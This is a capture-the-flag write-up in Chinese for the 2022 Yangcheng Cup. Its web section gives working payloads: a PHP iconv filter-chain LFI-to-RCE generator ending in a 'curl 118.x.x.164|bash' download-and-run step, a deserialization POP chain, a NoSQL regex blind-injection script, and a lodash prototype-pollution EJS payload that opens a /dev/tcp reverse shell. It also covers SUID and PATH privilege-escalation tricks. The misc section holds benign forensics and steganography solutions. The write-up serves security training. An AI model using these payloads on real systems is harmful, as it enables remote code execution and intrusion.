2022 YangchengCup | Partly Writeup

WEB

Web1:rce_me

(231条消息) [PHP]无需可控文件的LFI-RCE学习_bfengj的博客-CSDN博客

https://tttang.com/archive/1395/

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符:

<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);

$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

源码:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

有黑名单过滤,urlencode一下即可绕过

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC%5fP271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=curl 118.x.x.164|bash

弹个shell,发现flag在根目录,无权限,发现date命令可以suid提权

image

/bin/date -f /flag

image

Web2:step_by_step-v3

<?php
class yang
{
    public $y1;

    /*public function __construct()
    {
        $this->y1->magic();
    }*/

    public function __tostring()
    {
        ($this->y1)();
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

$yang = new yang();
$cheng = new cheng();
$bei = new bei();

$yang->y1 = $bei;
$yang->y1->b1 = new yang();
$yang->y1->b1->y1 = 'phpinfo';

$cheng->c1 = $bei;

print_r(serialize([$yang,$cheng]));

?>

image

Web3:EzNode1

写个脚本盲注:

import requests
import string

url = 'url'
passwd=''

for i in string.printable:
    payload = """{"username":'administrator',"password":{"$regex":'^%s"}}""" % (passwd + i)
    headers = {'Content-Type':'application/json'}

r = requests.post(url=url,headers=headers,data=payload)

if 'Are' in r.text:
    password += i
    print("%s" % (passwd))

username:administrator
password:tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w

image

/source目录下有源码,审计一下:

var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');

mongoose.connect('mongodb://localhost/ctf', { useNewUrlParser: true });

......

app.set('views', './views');
app.set('view engine', 'ejs');
app.use('/static', express.static('static'));

......

app.get('/', (req, res, next) => {

    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login');
    } else {
        res.redirect('/home');
    }
})

// login
app.all('/login', function(req, res) {

    ......

});

app.all('/home', function(req, res) {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if(req.session.data !== undefined && req.session.data !== null) {
        res.render('home.ejs', {
            real_name: req.session.data.realname,
            age: req.session.data.age
        });
    }
 else {
        res.render('home.ejs', {
            real_name: 'Undefined',
            age: 'Undefined'
        });
    }

});

// update your info
app.all('/update', (req, res) => {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if (req.method == 'GET') {
        res.render('update.ejs');
    }

    let data = req.session.data || {realname: '', age: ''}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body);
        req.session.data = data;
        if(req.session.data.realname) {
              res.redirect('/home');
        }
    }
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address;
    var port = server.address().port;

    console.log("listening on http://%s:%s", host, port);
});

发现是lodash.merge 以及使用了 ejs 模板,在/update 可以实现RCE

json格式传递

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.x.x.164/3333 0>&1\"');var __tmp2"}}

image

也是有一层提权,可以利用引入新的环境变量来提权

image

/home/bunny命令有root权限,执行一下发现是id

image

引入新的环境变量,执行命令

image

Web6:Safepop

浙江省赛原题,php的垃圾回收机制

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

得到paylaod之后删除一个}或者改个数字,触发垃圾回收机制 fastdestruct 就ok

MISC

迷失幻境

取证大师打开,分析图片

image

这些图片md5相同,45不同,没有文件类型,导出,缺失文件头,进行修复

image​​

与其他任一图片进行对比

image

查看回收站,发现可莉的图片

image

导出,outguess解密

image

寻宝-fix

c3dd0c35afbc6d34298f52d7800d5ae

504B0304的倒序,编写脚本进行处理,

# -*- coding:utf-8 -*-
import binascii
a=bytes
with open("./liyou.zip","rb") as e:
    a=e.read()
# print(a)

b = binascii.hexlify(a)
hex_str = b.decode("ascii")
# print(hex_str)
# hex_str="504b01020304"
c=str()
for i in range(0,len(hex_str),2):
    c+=(hex_str[i:i+2])[::-1]
# print(c)
# y=binascii.unhexlify(c)
# print(y)

with open("llll.txt","w") as e:
    e.write(c)
import os
os.system("xxd -r -p llll.txt >kkk.zip")

解压得到游戏和压缩包

看hint,总结一下:

  1. 注意音频的钢琴
  2. 注意两种地形

在玩游戏的时候,用CE固定一下血量,防止游戏退出

DC3H8F38TZIFH9EQ37

前四关地图是变种猪圈密码,

image

OWOH

用GameMaker提取游戏资源文件,其中有mp3,听声音第四秒到第十秒,结合hint,第二段是114514

image

第三段地图是曼彻斯特编码,把每个地图联合起来

IMG_1269

01011111011000010011000101011111

image

拼接尝试一下,发现压缩包密码OWOH_a1_114514

vim打开文档,零宽隐写:

image

image